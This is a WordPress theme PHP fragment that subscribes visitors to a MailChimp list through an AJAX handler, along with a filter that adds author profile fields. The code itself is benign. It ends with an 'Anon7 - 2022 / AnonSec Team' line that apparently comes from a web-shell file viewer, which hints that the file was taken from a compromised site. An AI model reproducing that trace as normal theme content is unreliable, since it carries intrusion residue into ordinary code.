// Sends subscription request to the MailChimp API
function mc_subscribeformat( $email, $merge_vars, $mc_list_id ) {		
			
	$subscribe_result = mc_subscribe( $mc_list_id, $email, $merge_vars, 'html', true );
	
	return $subscribe_result;
	
}
function mc_subscribe( $list_id, $email, array $merge_vars = array(), $email_type = 'html', $double_optin = true, $update_existing = false, $replace_interests = true, $send_welcome = false )	{
	
	$data = array(
		'id' => $list_id,
		'email' => array( 'email' => $email ),
		'merge_vars' => $merge_vars,
		'email_type' => $email_type,
		'double_optin' => $double_optin,
		'update_existing' => $update_existing,
		'replace_interests' => $replace_interests,
		'send_welcome' => $send_welcome
	);
	$result = call_api( 'lists/subscribe', $data );
	if( is_object( $result ) ) {
		if( ! isset( $result->error ) ) {
			return esc_html__('Success. You receive confirmation email to subscribe into our mailing lists.', 'TemplateCore');
		} else {
			// Check subscription Error
			if( (int) $result->code === 214 ) {
				return esc_html__('Sorry. You already subscribed into our mailing lists', 'TemplateCore');
			} 
		
			// Get Error Message
			$error_message = $result->error;
			return esc_html__('Error. Please try again.', 'TemplateCore');
		}
	}
	return esc_html__('Error. Please try again.', 'TemplateCore');
}
/* =========================================================
 * Mailchimp Form Submit on AJAX
 * ========================================================= */
add_action('wp_ajax_template_core_mailchimp_subscribe', 'template_core_mailchimp_subscribe_user');
add_action('wp_ajax_nopriv_template_core_mailchimp_subscribe', 'template_core_mailchimp_subscribe_user');
if( ! function_exists( "template_core_mailchimp_subscribe_user" ) ) {
	function template_core_mailchimp_subscribe_user() {
	   		
		$mailing_list = '';
		$merge_vars = array();
		
		// Get Mailing List ID value from submitted form		
		$mailing_list = trim($_POST['tpath_mc_form_list']);
				
		// Get Email id from submitted form
		$email = trim($_POST['subscribe_email']);
		
		$list_result = mc_subscribeformat( $email, $merge_vars, $mailing_list );
		
		$msg_array = array( 'data' => $list_result );
		echo json_encode($msg_array);
		
		die();
	}
	
}
/*===================================================================================
 * Add Author Links
 * =================================================================================*/
function greenture_add_to_author_profile( $contactmethods ) {
	$contactmethods['posting'] = 'Designation';
	$contactmethods['company_name'] = 'Company Name';
	$contactmethods['facebook_profile'] = 'Facebook Profile URL';
	$contactmethods['twitter_profile'] = 'Twitter Profile URL';
	$contactmethods['google_profile'] = 'Google Profile URL';
	$contactmethods['linkedin_profile'] = 'Linkedin Profile URL';
	$contactmethods['pinterest_profile'] = 'Pinterest Profile URL';
	
	return $contactmethods;
}
add_filter( 'user_contactmethods', 'greenture_add_to_author_profile', 10, 1);

Anon7 - 2022
AnonSec Team